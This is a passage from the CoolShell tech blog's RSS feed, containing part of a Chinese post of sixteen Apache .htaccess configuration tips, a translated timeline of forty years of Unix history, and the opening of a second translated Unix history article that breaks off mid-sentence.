More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1035.html\">16个简单实用的.htaccess小贴示</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>.htaccess 文件 (Hypertext Access file) 是Apache Web服务器的一个非常强大的配置文件，对于这个文件，Apache有一堆参数可以让你配置出几乎随心所欲的功能。.htaccess 配置文件坚持了Unix的一个文化——使用一个ASCII 的纯文本文件来配置你的网站的访问策略。</p>\n<p>这篇文章包括了16个非常有用的小技巧。另外，因为.htaccess 是一个相当强大的配置文件，所以，一个轻微的语法错误会造成你整个网站的故障，所以，在你修改或是替换原有的文件时，一定要备份旧的文件，以便出现问题的时候可以方便的恢复。</p>\n<p><strong>1. 使用.htaccess 创建自定义的出错页面。</strong>对于Linux Apache来说这是一项极其简单的事情。使用下面的.htaccess语法你可以轻松的完成这一功能。（把.htaccess放在你的网站根目录下）</p>\n<p><span style=\"COLOR: #ff6600\">ErrorDocument 401 /error/401.php<br />\nErrorDocument 403 /error/403.php<br />\nErrorDocument 404 /error/404.php<br />\nErrorDocument 500 /error/500.php</span></p>\n<p><span style=\"COLOR: #ff6600\"><span id=\"more-1035\"></span></span></p>\n<p><strong>2. 设置网站的时区</strong></p>\n<p><span style=\"COLOR: #ff6600\">SetEnv TZ America/Houston</span></p>\n<p><strong>3. 阻止IP列表</strong><br />\n有些时候，你需要以IP地址的方式阻止一些访问。无论是对于一个IP地址还是一个网段，这都是一件非常简单的事情，如下所示：</p>\n<p><span style=\"COLOR: #ff6600\">allow from all<br />\ndeny from 145.186.14.122<br />\ndeny from 124.15</span></p>\n<p>Apache对于被拒绝的IP会返回403错误。</p>\n<p><strong>4. 把一些老的链接转到新的链接上——搜索引擎优化SEO </strong></p>\n<p><span style=\"COLOR: #ff6600\">Redirect 301 /d/file.html </span><a href=\"http://www.htaccesselite.com/r/file.html\"><span style=\"COLOR: #ff6600\">http://www.htaccesselite.com/r/file.html</span></a></p>\n<p><strong>5. 为服务器管理员设置电子邮件。</strong></p>\n<p><span style=\"COLOR: #ff6600\">ServerSignature EMail<br />\nSetEnv SERVER_ADMIN </span><a href=\"mailto:default@domain.com\"><span style=\"COLOR: #ff6600\">default@domain.com</span></a></p>\n<p><strong>6. 使用.htaccess 访止盗链。</strong>如果你网站上的一个图片被别的N多的网站引用了，那么，这很有可能会导致你服务器的性能下降，使用下面的代码可以保护某些热门的链接不被过多的引用。</p>\n<p><span style=\"COLOR: #ff6600\">Options +FollowSymlinks<br />\n# Protect Hotlinking<br />\nRewriteEngine On<br />\nRewriteCond %{HTTP_REFERER} !^$<br />\nRewriteCond %{HTTP_REFERER} !^http://(</span><a href=\"http://www.%29/?domainname.com/\"><span style=\"COLOR: #ff6600\">www.)?domainname.com/</span></a><span style=\"COLOR: #ff6600\"> [nc]<br />\nRewriteRule .*.(gif|jpg|png)$ </span><a href=\"http://domainname.com/img/hotlink_f_o.png\"><span style=\"COLOR: #ff6600\">http://domainname.com/img/hotlink_f_o.png</span></a><span style=\"COLOR: #ff6600\"> [nc]</span></p>\n<p><strong>7. 阻止 User Agent 的所有请求</strong></p>\n<p><span style=\"COLOR: #ff6600\">## .htaccess Code :: BEGIN<br />\n## Block Bad Bots by user-Agent<br />\nSetEnvIfNoCase user-Agent ^FrontPage [NC,OR]<br />\nSetEnvIfNoCase user-Agent ^Java.* [NC,OR]<br />\nSetEnvIfNoCase user-Agent ^Microsoft.URL [NC,OR]<br />\nSetEnvIfNoCase user-Agent ^MSFrontPage [NC,OR]<br />\nSetEnvIfNoCase user-Agent ^Offline.Explorer [NC,OR]<br />\nSetEnvIfNoCase user-Agent ^[Ww]eb[Bb]andit [NC,OR]<br />\nSetEnvIfNoCase user-Agent ^Zeus [NC]</span></p>\n<p><span style=\"COLOR: #ff6600\">Order Allow,Deny<br />\nAllow from all<br />\nDeny from env=bad_bot</span></p>\n<p><span style=\"COLOR: #ff6600\">## .htaccess Code :: END</span></p>\n<p><strong>8. 把某些特殊的IP地址的请求重定向到别的站点</strong></p>\n<p><span style=\"COLOR: #ff6600\">ErrorDocument 403 </span><a href=\"http://www.youdomain.com/\"><span style=\"COLOR: #ff6600\">http://www.youdomain.com</span></a><br />\n<span style=\"COLOR: #ff6600\">Order deny,allow<br />\nDeny from all<br />\nAllow from 124.34.48.165<br />\nAllow from 102.54.68.123</span></p>\n<p><strong>9. 直接找开文件而不是下载</strong> – 通常，我们打开网上文件的时候总是会出现一个对话框问我们是下载还是直接打开，使用下面的设置就不会出现这个问题了，直接打开。</p>\n<p><span style=\"COLOR: #ff6600\">AddType application/octet-stream .pdf<br />\nAddType application/octet-stream .zip<br />\nAddType application/octet-stream .mov</span></p>\n<p><strong>10. 修改文件类型</strong> – 下面的示例可以让任何的文件都成为PHP那么被服务器解释。比如：myphp, cgi，phtml等。</p>\n<p><span style=\"COLOR: #ff6600\">ForceType application/x-httpd-php<br />\nSetHandler application/x-httpd-php</span></p>\n<p><strong>11. 阻止存取.htaccess 文件</strong></p>\n<p><span style=\"COLOR: #ff6600\"># secure htaccess file</span></p>\n<p><span style=\"COLOR: #ff6600\"> order allow,deny<br />\n deny from all</span><br />\n<strong>12. 保护服务器上的文件被存取</strong></p>\n<p><span style=\"COLOR: #ff6600\"># prevent access of a certain file</span><span style=\"COLOR: #ff6600\"> order allow,deny<br />\n deny from all</span><br />\n<strong>13. 阻止目录浏览</strong></p>\n<p><span style=\"COLOR: #ff6600\"># disable directory browsing<br />\nOptions All -Indexes</span></p>\n<p><strong>14. 设置默认主页</strong></p>\n<p><span style=\"COLOR: #ff6600\"># serve alternate default index page<br />\nDirectoryIndex about.html</span></p>\n<p><strong>15. 口令认证</strong> – 你可以创建一个文件用于认证。下面是一个示例：</p>\n<p><span style=\"COLOR: #ff6600\"># to protect a file</span></p>\n<p><span style=\"COLOR: #ff6600\">AuthType Basic<br />\nAuthName “Prompt”<br />\nAuthUserFile /home/path/.htpasswd<br />\nRequire valid-user</span></p>\n<p><span style=\"COLOR: #ff6600\"># password-protect a directory<br />\nresides<br />\nAuthType basic<br />\nAuthName “This directory is protected”<br />\nAuthUserFile /home/path/.htpasswd<br />\nAuthGroupFile /dev/null<br />\nRequire valid-user</span></p>\n<p><strong>16. 把老的域名转像新的域名</strong></p>\n<p><span style=\"COLOR: #ff6600\"># redirect from old domain to new domain<br />\nRewriteEngine On<br />\nRewriteRule ^(.*)$ </span><a href=\"http://www.yourdomain.com/$1\"><span style=\"COLOR: #ff6600\">http://www.yourdomain.com/$1</span></a><span style=\"COLOR: #ff6600\"> [R=301,L]</span></p>\n<p><span style=\"color: #000000;\">文章：<a href=\"http://rafeekphp.wordpress.com/2009/06/06/16-great-htaccess-tricks-and-hacks/\" target=\"_blank\">来源</a></span><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"面向GC的Java编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_title\">面向GC的Java编程</a></li><li ><a href=\"https://coolshell.cn/articles/8387.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/10/Learnable_Programming-150x150.jpg\" alt=\"Bret Victor &#8211; Learnable Programming\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8387.html\" class=\"wp_rp_title\">Bret Victor &#8211; Learnable Programming</a></li><li ><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/07/programmer-150x150.png\" alt=\"程序员技术练级攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_title\">程序员技术练级攻略</a></li><li ><a href=\"https://coolshell.cn/articles/9749.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/06/javascript-150x150.jpg\" alt=\"Javascript 装载和执行\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9749.html\" class=\"wp_rp_title\">Javascript 装载和执行</a></li><li ><a href=\"https://coolshell.cn/articles/3709.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"预发布环境,Tag发布机制和可重复的部署过程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3709.html\" class=\"wp_rp_title\">预发布环境,Tag发布机制和可重复的部署过程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1035.html\">16个简单实用的.htaccess小贴示</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1035.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>6</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Unix 40年：Unix年鉴</title>\n\t\t<link>https://coolshell.cn/articles/1032.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1032.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 12 Jun 2009 07:32:54 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1032</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>今年是Unix 40年的生日，这篇文章，主要是一个Unix的年鉴，其记录了40年来所有和Unix有关的里程碑事件。 如果你想知道Unix的一些故事，你可以查看下...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1032.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1032.html\">Unix 40年：Unix年鉴</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>今年是Unix 40年的生日，这篇文章，主要是一个Unix的年鉴，其记录了40年来所有和Unix有关的里程碑事件。</p>\n<p>如果你想知道Unix的一些故事，你可以查看下面这些文章：</p>\n<ul>\n<li>《<strong><a href=\"https://coolshell.cn/articles/1023.html\">Unix40年：昨天，今天和明天</a></strong>》</li>\n<li>《<strong>Unix</strong><strong>传奇</strong>》<strong><a href=\"http://blog.csdn.net/haoel/archive/2007/03/27/1542340.aspx\" target=\"_blank\">上篇</a></strong><strong>，</strong><strong><a href=\"http://blog.csdn.net/haoel/archive/2007/03/27/1542353.aspx\">下篇</a></strong></li>\n<li>《<strong><a href=\"http://blog.csdn.net/haoel/archive/2007/07/13/1688006.aspx\" target=\"_blank\">Unix的现状与未来</a></strong>》</li>\n</ul>\n<h4>1956</h4>\n<p>美国司法部颁布法令责成AT&amp;T公司不得从事除了公共承运人提供的通信服务以外的一切商业活动。</p>\n<h4>1969</h4>\n<p><strong>三月 &#8212; </strong>AT&amp;T旗下的 Bell 实验室从操作系统项目Multics (Multiplexed Information and Computing Service)研发中撤出，这是一个前沿但很复杂的分时操作系统。一些重要的Multics理念以后来被用于Unix操作操作系统中。</p>\n<p><span id=\"more-1032\"></span></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone\" src=\"http://www.computerworld.com/common/images/site/features/2009/062009/unix_pdp7_120.jpg\" alt=\"\" width=\"120\" height=\"130\" /><br />\nUnix 从 PDP-7 小型机上开始了它的历程<br />\nCredit: Toresbe (<a href=\"http://creativecommons.org/licenses/sa/1.0/\" target=\"new\">cc-by-sa 1.0</a>)</p>\n<p><strong>八月 – </strong>Bell实验室的Ken Thompson 写了第一个版本的操作系统，这时，这个操作系统还没有名字，这个操作系统是用DEC PDP-7 小型机的汇编语言写成。</p>\n<h4>1970</h4>\n<p>Thompson的操作系统命名为 Unics，全称是Uniplexed Information and Computing Service 这是一个 “被阉割了的微型的 Multics”。 （后来，这个名字被神秘地改成了Unix）</p>\n<h4>1971</h4>\n<p><strong>二月. &#8212; </strong>Unix 移植到DEC PDP-11 小型机上。</p>\n<p><strong>十一月. – </strong>写一版本的 &#8220;Unix Programmer&#8217;s Manual&#8221;（Unix程序员手册） 由Ken Thompson 和 Dennis Ritchie完成并出版。</p>\n<h4>1972<img decoding=\"async\" loading=\"lazy\" class=\"alignright\" title=\"Thompson 和 Ritchie\" src=\"http://www.computerworld.com/common/images/site/features/2009/062009/unix_kendennis.jpg\" alt=\"\" width=\"230\" height=\"150\" /></h4>\n<p>Dennis Ritchie 开发了C 编程语言。</p>\n<h4>1973</h4>\n<p>Unix 成熟期。“管道”，一个可以在两个程序中共享信息的机制问世，这项技术影响了操作系统几十年。这个技术被加入到了Unix中。同年，Unix被用C语言重写。</p>\n<h4>1974</h4>\n<p><strong>一月 – </strong>加利福尼亚大学伯克利分校收到了一份Unix的源码拷贝。</p>\n<p><strong>七月 – </strong>Dennis Ritchie 和 Ken Thompson发表论文《&#8221;The UNIX Timesharing System&#8221;》，这篇论文发表于计算机协会（Association for Computing Machinery）的月刊杂志上。作者称，这是一个“多用途的，多用户，的交互式的操作系统”。这篇论文导制了社会上对Unix大量的需求。</p>\n<h4>1976</h4>\n<p>Bell 实验室程序员Mike Lesk 开发了 UUCP (Unix-to-Unix Copy Program) ，这个程序主要是用于网络上的文件传输，电子邮件和世界性新闻网络系统Usenet。</p>\n<h4>1977</h4>\n<p>Unix 被移植到了一个非DEC的硬件上： Interdata 8/32 和 IBM 360.</p>\n<h4>1978</h4>\n<p>Bill Joy一个伯克利的毕业生，发布了第一个Unix伯克利发行版——1BSD（the first Berkeley Software Distribution ），本质上来说，这只是 Bell 实验室 Unix V6 加上了一些附加软件。BSD 一下就成为了一个有竞争力的Unix 分枝，从此和 AT&amp;T的 Unix分庭抗礼。而且，BSD以以后派生出了 FreeBSD，NetBSD， OpenBSD， DEC Ultrix，SunOS，NeXTstep/OpenStep 和 Mac OS X。</p>\n<h4>1980</h4>\n<p>4BSD，由美国国防部高级计划研究署 DARPA 资助，成为了世界上第一个支持TCP/IP的Unix。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone\" src=\"http://www.computerworld.com/common/images/site/features/2009/062009/unix_bjoy_120.jpg\" alt=\"\" width=\"120\" height=\"159\" /> <br />\nBill Joy 发起了Unix的 BSD 分枝 并成立了Sun公司<br />\nCredit: SqueakBox (<a href=\"http://creativecommons.org/licenses/by/2.0/\" target=\"new\">cc-by-sa 2.0</a>)</p>\n<h4>1982</h4>\n<p>Bill Joy 成立了 Sun Microsystems 公司生产基于 Unix的 Sun 工作站。</p>\n<h4>1983</h4>\n<p>AT&amp;T 发布了 Unix System V的第一个版本，这是最具影响力的一个版本，后来，从这个版本派生出了IBM的 AIX 和 Hewlett Packard的 HP-UX。</p>\n<p>Ken Thompson 和 Dennis Ritchie因为Unix 获得了 计算机协会 ACM授于的图灵奖（ Turing Award）—— “for their development of generic operating systems theory and specifically for the implementation of the UNIX operating system”</p>\n<p>Richard Stallman announces plans for the GNU (GNU&#8217;s not Unix) operating system, a Unix look-alike composed of free software.</p>\n<h4>1984</h4>\n<p>冬季， 在USENIX/UniForum 大会上，AT&amp;T 阐述了他们的Unix的政策：“不打广告，不作support，不发布补丁，除非先付费”</p>\n<p>X/Open 公司，一个欧洲计算机制造协会，形成了一个Unix的标准——X/Open可移植性指南。它采用了若干特定标准，填补了其他标准缺失功能的空白。这些指南的目的是改善应用程序的可移植性。</p>\n<h4>1985</h4>\n<p>AT&amp;T 发行System V Interface Definition (SVID)，其尝试去设定一个Unix如何运行的标准。</p>\n<h4>1986</h4>\n<p>Rick Rashid 及其同事 于 Carnegie Mellon 大学创造了 Mach操作系统的第一个版本，其用于取代BSD Unix内核，从而可以让操作系统有更好的可移植性，以及更强的安全性，并可用于多处理器的应用。</p>\n<h4>1987</h4>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone\" src=\"http://www.computerworld.com/common/images/site/features/2009/062009/unix_atanenbaum_120.jpg\" alt=\"\" width=\"120\" height=\"156\" /> <br />\nAndrew Tanenbaum 写了 Minix, 一个 Unix 的克隆仅用于教学目的。<br />\nCredit: GerardM (<a href=\"http://en.wikipedia.org/wiki/GNU_Free_Documentation_License\" target=\"new\">GNU FDL</a>)</p>\n<p>AT&amp;T Bell 实验室和Sun Microsystems 宣布计划一同开发一个操作系统以便统一两个主要的Unix分枝。</p>\n<p>Andrew Tanenbaum 写下了 Minix，这是一个开源的Unix克隆操作系统，仅用于计算机科学的教室。</p>\n<h4>1988</h4>\n<p>Unix战争爆发。为了对付AT&amp;T/Sun 联盟，其它 Unix 产商包括DEC，HP 和 IBM 组成了“开放软件基金会 Open Software Foundation (OSF) ”以开发一个开放的Unix标准。AT&amp;T 和它的盟友也组织了一个他们自己的标准组织： Unix International.</p>\n<p>同年，IEEE 发布了 Posix (Portable Operating System Interface for Unix)，这是一系列关于Unix接口的标准。</p>\n<h4>1989</h4>\n<p>Unix System Labs，AT&amp;T Bell 实验室所属，发布了System V Release 4 (SVR4)，这是和Sun公司合作的产物，其整合了System V， BSD， SunOS 和 Xenix.</p>\n<h4>1990</h4>\n<p>开放软件基金会 OSF 针对SVR4发布了 OSF/1，这是一个基于 Mach 和 BSD的版本。</p>\n<h4>1991</h4>\n<p>Sun Microsystems 宣布了 Solaris，一个基于 SVR4的操作系统。</p>\n<p>同年Linux Torvalds 写了 Linux，解一个开源的操作系统内核（由Minix产生的灵感）</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone\" src=\"http://www.computerworld.com/common/images/site/features/2009/062009/unix_ltorvalds_120.jpg\" alt=\"\" width=\"120\" height=\"138\" /> <br />\nLinus Torvalds</p>\n<h4>1992</h4>\n<p>Linux 内核被整合到了 GNU，并开创了免费的GNU/Linux 操作系统，大家习惯于把这个操作系统简单的叫作“Linux”。</p>\n<h4>1993</h4>\n<p>AT&amp;T 卖掉了他的 Unix System Laboratories 以及所有的Unix权利，Novell成了买主。之后Novell 又把Unix 注册商标转给了X/Open group.</p>\n<p>Microsoft 开发了 Windows NT，一个强大的32们多处理器的操作系统。Windows NT 所引发的恐慌情绪促成了Unix的标准。</p>\n<h4>1994</h4>\n<p>NASA 发明了 <a href=\"http://www.beowulf.org/overview/history.html\" target=\"new\">Beowulf computing</a> ，其使用了一些低成本的PC机并使用Unix或Linux作为操作系统，以及TCP/IP为网络组成了一个廉价的集群技术。</p>\n<h4>1996</h4>\n<p>X/Open 和 Open Software Foundation 合并形成了 The Open Group.</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone\" src=\"http://www.computerworld.com/common/images/site/features/2009/062009/unix_natmedal_230.jpg\" alt=\"\" width=\"230\" height=\"177\" /> <br />\nClinton 总统授予Thompson 和 Ritchie国家科技勋章</p>\n<h4>1999</h4>\n<p>美国总统克林顿授予Ken Thompson 和 Dennis Ritchie国家科技勋章，以表彰他们在Bell实验室的成就。</p>\n<h4>2001</h4>\n<p>Apple 发布 Mac OS X，这是一个基于Mach内核和BSD开发的桌面操作系统 。</p>\n<h4>2002</h4>\n<p>The Open Group 宣布了Single UNIX Specification （以前叫 Spec 1170）的第三个版本。  </p>\n<p> </p>\n<h4>参考</h4>\n<ul>\n<li><em>Peter H. Salus</em>所著《A Quarter Century of Unix》<em></em></li>\n<li><em>Microsoft</em></li>\n<li><em>AT&amp;T</em></li>\n<li><em>The Open Grou</em></li>\n<li><em>Wikipedia </em></li>\n<li><em>其它</em></li>\n</ul>\n<p>原文：<a href=\"http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;taxonomyName=Operating+Systems&amp;articleId=9133628&amp;taxonomyId=89&amp;pageNumber=1\" target=\"_blank\">链接</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/tux-fork-150x150.gif\" alt=\"vfork 挂掉的一个问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_title\">vfork 挂掉的一个问题</a></li><li ><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/puzzle-150x150.png\" alt=\"谜题的答案和活动的心得体会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_title\">谜题的答案和活动的心得体会</a></li><li ><a href=\"https://coolshell.cn/articles/9104.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/sed-superman-150x150.png\" alt=\"sed 简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9104.html\" class=\"wp_rp_title\">sed 简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/9070.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/awk-150x150.jpg\" alt=\"AWK 简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9070.html\" class=\"wp_rp_title\">AWK 简明教程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1032.html\">Unix 40年：Unix年鉴</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1032.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>26</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Unix 40年：昨天，今天和明天</title>\n\t\t<link>https://coolshell.cn/articles/1023.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1023.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 11 Jun 2009 15:01:39 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1023</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>经历了四个十年，操作系统的未来充满了变数，但传奇将会是永久的  原文：链接&#8212;Computerworld 　 译者前言  今年是Unix40岁的生日。...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1023.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1023.html\">Unix 40年：昨天，今天和明天</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><span style=\"font-size: small;\"><strong>经历了四个十年，操作系统的未来充满了变数，但传奇将会是永久的</strong></span></p>\n<p style=\"MARGIN: 0in 0in 0pt\"> <strong style=\"mso-bidi-font-weight: normal\">原文</strong>：<a href=\"http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;taxonomyName=Operating+Systems&amp;articleId=9133570&amp;taxonomyId=89&amp;pageNumber=1\">链接</a>&#8212;<a href=\"http://www.computerworld.com/\">Computerworld</a></p>\n<p>　</p>\n<h4>译者前言</h4>\n<p style=\"MARGIN: 0in 0in 0pt\"> 今年是Unix40岁的生日。很早就看到这篇文章了，一直想转到中文社区。但一直没有时间，今天看到了CSDN首页的一篇《<a href=\"http://news.csdn.net/a/20090610/211863.html\">昨天,今天,明天! Unix系统的40年</a>》号称是转载于<a href=\"http://www.cnbeta.com/articles/86179.htm\">cnBeta</a>。这篇文章翻译的要有多烂有多烂，简直就是对Unix 40的历史和原文作者的一种不敬。所以，在这里给出全部译文。</p>\n<p style=\"MARGIN: 0in 0in 0pt\"> </p>\n<p style=\"MARGIN: 0in 0in 0pt\"><strong style=\"mso-bidi-font-weight: normal\">关于更为详细的历史，可以参考我的《Unix</strong><strong style=\"mso-bidi-font-weight: normal\">传奇》<a href=\"http://blog.csdn.net/haoel/archive/2007/03/27/1542340.aspx\">上篇</a></strong><strong style=\"mso-bidi-font-weight: normal\">，<a href=\"http://blog.csdn.net/haoel/archive/2007/03/27/1542353.aspx\">下篇</a></strong></p>\n<p style=\"MARGIN: 0in 0in 0pt\"><strong style=\"mso-bidi-font-weight: normal\">以及一篇CSDN</strong><strong style=\"mso-bidi-font-weight: normal\">对我的采访《<a href=\"http://blog.csdn.net/haoel/archive/2007/07/13/1688006.aspx\">Unix的现状与未来</a></strong><strong style=\"mso-bidi-font-weight: normal\">》</strong></p>\n<p>　</p>\n<h4>正文</h4>\n<p>40年前的一个夏天，一个程序员只用了一个月的时间就创造出了这个世界上迄今为止最重要一个软件的原型。</p>\n<p><span id=\"more-1023\"></span></p>\n<p>在1969年8月，Ken Thompson，AT&amp;T公司Bell实验室的一个程序员，因为妻儿不在身边，所以有机会把他的一些关于新的操作系统的想法付诸实现。他用汇编语言在DEC（Digital Equipment Corp.）的PDP-7微机上写了第一个版本Unix，他只用了一周的时间就完成了一个简单的操作系统，包括一个shell，一个编译器还有一个汇编编译器。</p>\n<p>Thompson和他的一个同事Dennis Ritchie当时在开发一个叫“<a href=\"http://www.multicians.org/multics.html\" target=\"new\">Multics</a>（Multiplexed Information and Computing Service复杂指令和计算服务）”的分时(Time-Sharing)操作系统)，因为这个项目当时遇上了很多麻烦，所以Thompson和Dennis当时感到很没劲，他们即不想去做当时主流的“批处理（Batch）操作系统”，也不想去做那个看上去怪异和笨拙的Multics。</p>\n<p>所以，在他们来来回回讨论经了一些关于新系统的想法后，Thompson写下了第一个版本的Unix，然后，这两位老搭档在以后的几年里继续开发着这个操作系统，当然，后面有更多的同事（Doug McIlroy, Joe Ossanna 和 Rudd 